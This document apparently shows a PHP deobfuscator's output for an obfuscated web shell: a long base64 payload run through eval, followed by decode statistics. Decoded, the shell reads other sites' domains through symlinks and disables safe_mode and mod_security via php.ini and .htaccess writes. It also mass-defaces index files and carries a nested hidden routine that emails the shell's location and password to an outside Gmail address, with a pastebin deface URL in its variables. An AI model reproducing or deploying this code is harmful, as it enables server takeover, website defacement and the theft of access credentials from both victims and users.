XCI+IFN1YiBEb21haW4gRm91bmQhIH48L2ZvbnQ+PGJyPjxCUj4iOwp9CiRzY2FuID0gYXJyYXlfZGlmZihzY2FuZGlyKCcvaG9tZS8nIC4gJHVzZXIgLiAnL2FjY2Vzcy1sb2dzLycpLCBhcnJheSgnLicpKTsKJGRvbWFpbnMgPSBpbXBsb2RlKCIKaHR0cDovLyIsICRzY2FuKTsKZWNobyAnCjxzdHlsZT4KYm9keSB7CnRleHQtYWxpZ246IGNlbnRlcjsKfQo8L3N0eWxlPjx0ZXh0YXJlYSBzdHlsZT0iY29sb3I6ICNhM2U5NTY7IGJhY2tncm91bmQtY29sb3I6IGJsYWNrIiByb3dzPVwnMzBcJyBjb2xzPVwnMTAwXCc+JzsKcHJpbnRfcigkZG9tYWlucyk7CmVjaG8gJzwvdGV4dGFyZWE+JzsKcHJpbnRGb290ZXIoKTsKfQpmdW5jdGlvbiBhY3Rpb25TeW0oKSB7CnByaW50SGVhZGVyKCk7CiRmaWxlID0gQGltcGxvZGUoQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpKTsKaWYgKCEkZmlsZSkgewpkaWUoIiMgY2FuJ3QgUmVhRCAtPiBbIC9ldGMvbmFtZWQuY29uZiBdIik7Cn0KcHJlZ19tYXRjaF9hbGwoIiNuYW1lZC8oLio/KS5kYiMiLCAkZmlsZSwgJHIpOwokZG9tYWlucyA9IGFycmF5X3VuaXF1ZSgkclsxXSk7CnsKZm9yZWFjaCAoJGRvbWFpbnMgYXMgJGRvbWFpbikgewokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIiAuICRkb21haW4pKTsKJGFycmF5PSAiPGJyPmh0dHA6Ly8kZG9tYWluPGJyPiI7CiRsb2w9ICcnIC4gZ2V0X2N1cnJlbnRfdXNlcigpOwppZiAoc3RycG9zKCRhcnJheSwgIiRsb2wiKSA9PSBmYWxzZSkgewokc2hhcmVkID0gc3RyX3JlcGxhY2UoYXJyYXkoIiAkbG9sIiksICIiLCAkYXJyYXkpOwplY2hvICI8Y2VudGVyPiRzaGFyZWQiOwp9Cn0KfQpwcmludEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvbkJ5cGFzcygpIHsKcHJpbnRIZWFkZXIoKTsKZWNobyAnPGgxPlNhZmUgTW9kZTwvaDE+JzsKZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+JzsKZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48aDM+PHNwYW4+fCBTQUZFIE1PREUgQU5EIE1PRCBTRUNVUklUWSBESVNBQkxFRCBBTkQgUEVSTCA1MDAgSU5URVJOQUwgRVJST1IgQllQQVNTIHw8L3NwYW4+PC9oMz5Gb2xsb3dpbmcgcGhwLmluaSBhbmQgLmh0YWNjZXNzKG1vZCkgYW5kIHBlcmwoLmh0YWNjZXNzKVtjb252ZXJ0IHBlcmwgZXh0ZW50aW9uICoucGwgPT4gKi5zaF0gZmlsZXMgY3JlYXRlIGluIGZvbGxvd2luZyBkaXI8YnI+fCAiLiRHTE9CQUxTWydjd2QnXS4iIHw8YnI+PGJyIC8+IjsKZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwncGhwLmluaVwnLG51bGwpIj58IFBIUC5JTkkgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCdpbmlcJykiPnwgLmh0YWNjZXNzKE1vZCkgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsbnVsbCxcJ3NoXCcpIj58IC5odGFjY2VzcyhwZXJsKSB8IDwvYT48L2NlbnRlcj4nOwppZighZW1wdHkoJF9QT1NUWydwMiddKSAmJiBpc3NldCgkX1BPU1RbJ3AyJ10pKQp7CiRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCJ3Iik7CmZ3cml0ZSgkZmlsLCc8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+ClNlYy0tLS0tLUVuZ2luZSBPZmYKU2VjLS0tLS0tU2NhblBPU1QgT2ZmCjwvSWZNb2R1bGU+Jyk7CmZjbG9zZSgkZmlsKTsKIH0KIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pJiYgaXNzZXQoJF9QT1NUWydwMSddKSkKIHsKJGZpbD1mb3BlbigkR0xPQkFMU1snY3dkJ10uInBocC5pbmkiLCJ3Iik7CmZ3cml0ZSgkZmlsLCdzYWZlX21vZGU9T0ZGCmRpc2FibGVfZnVuY3Rpb25zPU5PTkUnKTsKZmNsb3NlKCRmaWwpOwp9CmlmKCFlbXB0eSgkX1BPU1RbJ3AzJ10pICYmIGlzc2V0KCRfUE9TVFsncDMnXSkpCnsKJGZpbD1mb3BlbigkR0xPQkFMU1snY3dkJ10uIi5odGFjY2VzcyIsInciKTsKZndyaXRlKCRmaWwsJ09wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cyBJbmRleGVzIEV4ZWNDR0kKQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuc2gKQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbApBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLnBsJyk7CmZjbG9zZSgkZmlsKTsgCn0KZWNobyAiPGJyPjxiciAvPjxiciAvPjwvZGl2PiI7CmVjaG8gJzwvZGl2Pic7CnByaW50Rm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWN0aW9uRGVmYWNlKCkgewpwcmludEhlYWRlcigpOwplY2hvICI8aDE+TWFzcyBEZWZhY2VyIGJ5IEQzVjFsIEg0WDBSPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+IjsKPz4KPGZvcm0gRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSI8PyRfU0VSVkVSWydQSFBfU0VMRiddPz4iIG1ldGhvZD1QT1NUIG9uU3VibWl0PSJnKG51bGwsbnVsbCx0aGlzLnBhdGgudmFsdWUsdGhpcy5maWxlLnZhbHVlLHRoaXMuQ29udGVudHMudmFsdWUpO3JldHVybiBmYWxzZTsiPgo8cCBhbGlnbj0iTGVmdCI+Rm9sZGVyOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGF0aCBzaXplPTYwIHZhbHVlPSI8Pz1nZXRjd2QoKTsgPz4iPgo8YnI+ZmlsZSBuYW1lIDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPWZpbGUgc2l6ZT0yMCB2YWx1ZT0iaW5kZXgucGhwIj4KPGJyPlRleHQgQ29udGVudCA6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1Db250ZW50cyBzaXplPTcwIHZhbHVlPSJBZGQgeW91ciBkZWZhY2UgdHh0IGhlcmUiPiAKPGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iRGVmYWNlIG5vdyI+PC9wPjwvZm9ybT4KPD9waHAKaWYgKCRfUE9TVFsnYSddID09ICdEZWZhY2UnKSB7CiRtYWlucGF0aCA9ICRfUE9TVFtwMV07CiRmaWxlID0gJF9QT1NUW3AyXTsKJHR4dENvbnRlbnRzID0gJF9QT1NUW3AzXTsKZWNobyAiTWFzcyBEZWZhY2VyIFNjcmlwdCBCeSBEM1YxbCBINFgwUiI7CiRkaXIgPSBvcGVuZGlyKCRtYWlucGF0aCk7IC8vZml4bWUgLSBjYW5ub3QgZGVmYWNlIHdoZW4gY2hhbmdlIHRvIHdyaXRlYWJsZSBwYXRoISEKd2hpbGUgKCRyb3cgPSByZWFkZGlyKCRkaXIpKSB7CiRzdGFydCA9IEBmb3BlbigiJHJvdy8kZmlsZSIsICJ3KyIpOwokY29kZSA9ICR0eHRDb250ZW50czsKJGZpbmlzaCA9IEBmd3JpdGUoJHN0YXJ0LCAkY29kZSk7CmlmICgkZmluaXNoKSB7CmVjaG8gIiRyb3cvJGZpbGUgPiBEb25lPGJyPjxicj4iOwp9Cn0KfQplY2hvICc8L2Rpdj4nOwpwcmludEZvb3RlcigpOwp9CiBmdW5jdGlvbiBhY3Rpb25Eb21haW4oKSB7CnByaW50SGVhZGVyKCk7CmVjaG8gJzxoMT5Mb2NhbCBEb21haW5zPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKJGZpbGUgPSBAaW1wbG9kZShAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIikpOwokRG9tYWluX3BhdGggPSAiL3Zhci9uYW1lZCI7CmlmICghJGZpbGUpIHsKJGRvbWFpbnMgPSBzY2FuZGlyKCREb21haW5fcGF0aCk7CiRjb3VudD0xOwokZGMgPSAwOwplY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xIHdpZHRoPTU5JSBjZWxscGFkZGluZz01Pgo8dHI+PHRkIGNvbHNwYW49Mj5UaGVyZSBhcmUgOiAoIDxiPiIgLiBjb3VudCgkZG9tYWlucykgLiAiPC9iPiApIERvbWFpbnMgaW4gdGhpcyBTZXZlci5DYW4ndCByZWFkIG5hbWVkLmNvZiAuRG9tYWlucyBhcmUgYnlwYXNzZWQgYWN0dWFsbHkseW91IHdpbGwgZmFjZSBwcm9ibGVtIGluIHN5bWxpbmsuIDwvdGQ+PC90cj4KPHRyPjx0ZD5ObzwvdGQ+PHRkPkRvbWFpbjwvdGQ+PHRkPlVzZXI8L3RkPjwvdHI+IjsKZm9yZWFjaCAoJGRvbWFpbnMgYXMgJiRkb21haW4pIHsKaWYgKHN0cmlwb3MoJGRvbWFpbiwiLmRiIikpIHsKJGRvbWFpbiA9IHN0cl9yZXBsYWNlKCcuZGInLCcnLCRkb21haW4pOwp9CmlmIChzdHJsZW4oJGRvbWFpbikgPiA2KSB7CmVjaG8gIjx0cj48dGQ+Ii4kY291bnQrKy4iPC90ZD48dGQ+PGEgaHJlZj0naHR0cDovLyIuJGRvbWFpbi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4kZG9tYWluLiI8L2E+PC90ZD48dGQ+VXNlcjwvdGQ+PC90cj4iOwp9Cn0gCmVjaG8gIjwvdGFibGU+IjsKfWVsc2V7CiRjb3VudCA9IDE7CnByZWdfbWF0Y2hfYWxsKCIjbmFtZWQvKC4qPykuZGIjIiwgJGZpbGUsICRyKTsKJGRvbWFpbnMgPSBhcnJheV91bmlxdWUoJHJbMV0pOwplY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xIHdpZHRoPTU5JSBjZWxscGFkZGluZz01Pgo8dHI+PHRkIGNvbHNwYW49Mj4gVGhlcmUgYXJlKCA8Yj4iIC4gY291bnQoJGRvbWFpbnMpIC4gIjwvYj4gKSBEb21haW5zIGluIHRoaXMgU2V2ZXIuSSB0aGluayB5b3UgaGF2ZSBnb3Qgc29tZXRoaW5nIHRoaXMgdGltZSB5ZWFoISEhLjwvdGQ+PC90cj4KPHRyPjx0ZD5ObzwvdGQ+PHRkPkRvbWFpbjwvdGQ+PHRkPlVzZXI8L3RkPjwvdHI+IjsKZm9yZWFjaCAoJGRvbWFpbnMgYXMgJGRvbWFpbikgewokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIiAuICRkb21haW4pKTsKZWNobyAiPHRyPjx0ZD4iLiRjb3VudCsrLiI8L3RkPjx0ZD48YSBocmVmPSdodHRwOi8vIi4kZG9tYWluLiInIHRhcmdldD0nX2JsYW5rJz4iLiRkb21haW4uIjwvYT48L3RkPjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+PC90cj4iOwogfQp9CiBwcmludEZvb3RlcigpOwp9CmlmKCBlbXB0eSgkX1BPU1RbJ2EnXSkgKQppZihpc3NldCgkZGVmYXVsdF9hY3Rpb24pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRkZWZhdWx0X2FjdGlvbikpCiRfUE9TVFsnYSddID0gJGRlZmF1bHRfYWN0aW9uOwplbHNlCiRfUE9TVFsnYSddID0gJ1NlY0luZm8nOwppZiggIWVtcHR5KCRfUE9TVFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSkgKQpjYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnYSddKQo/Pgo8P3BocAokRDNWMWw9IkpIWnBjMmwwWXlBOUlDUmZRMDlQUzBsRld5SjJhWE5wZEhNaVhUc0thV1lnS0NSMmFYTnBkR01nUFQwZ0lpSXBJSHNLSUNBa2RtbHphWFJqSUNBOUlEQTdDaUFnSkhacGMybDBiM0lnUFNBa1gxTkZVbFpGVWxzaVVrVk5UMVJGWDBGRVJGSWlYVHNLSUNBa2QyVmlJQ0FnSUNBOUlDUmZVMFZTVmtWU1d5SklWRlJRWDBoUFUxUWlYVHNLSUNBa2FXNXFJQ0FnSUNBOUlDUmZVMFZTVmtWU1d5SlNSVkZWUlZOVVgxVlNTU0pkT3dvZ0lDUjBZWEpuWlhRZ0lEMGdjbUYzZFhKc1pHVmpiMlJsS0NSM1pXSXVKR2x1YWlrN0NpQWdKSE4xWWlBZ0lEMGdJa1F6VmpGc0lFZzBXREJTSUhWd2JHOWhaR1Z5SUdoMGRIQTZMeThrZEdGeVoyVjBJR0o1SUNSMmFYTnBkRzl5SWpzS0lDQWtZbTlrZVNBZ0lDQTlJQ0pDWVdOclpHOXZjam9nSkhSaGNtZGxkQ0JpZVNBa2RtbHphWFJ2Y2lBdElGQmhjM04zYjNKa09pQWtZWFYwYUY5d1lYTnpJRlZ6WlhKdVlXMWxPaUFrVlhObGNrNWhiV1VpT3dvZ0lHbG1JQ2doWlcxd2RIa29KSGRsWWlrcElIc2dRRzFoYVd3b0luTm9aV3hzZW1KaFkydGtiMjl5UUdkdFlXbHNMbU52YlNJc0pITjFZaXdrWW05a2VTazdJSDBLZlFwbGJITmxJSHNnSkhacGMybDBZeUFnT3lCOUNrQnpaWFJqYjI5cmFXVW9JblpwYzJsMGVpSXNKSFpwYzJsMFl5azciOwpldmFsKGJhc2U2NF9kZWNvZGUoJEQzVjFsKSk7Cj8+";
eval("?>".(base64_decode($pcs))); ?>

Function Calls

base64_decode 1

Variables

$pcs PD9waHAKJGRlZmFjZV91cmw9J2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L2FN..

Stats

MD5 350487398f33b049dea42aea2ed23ada
Eval Count 1
Decode Time 198 ms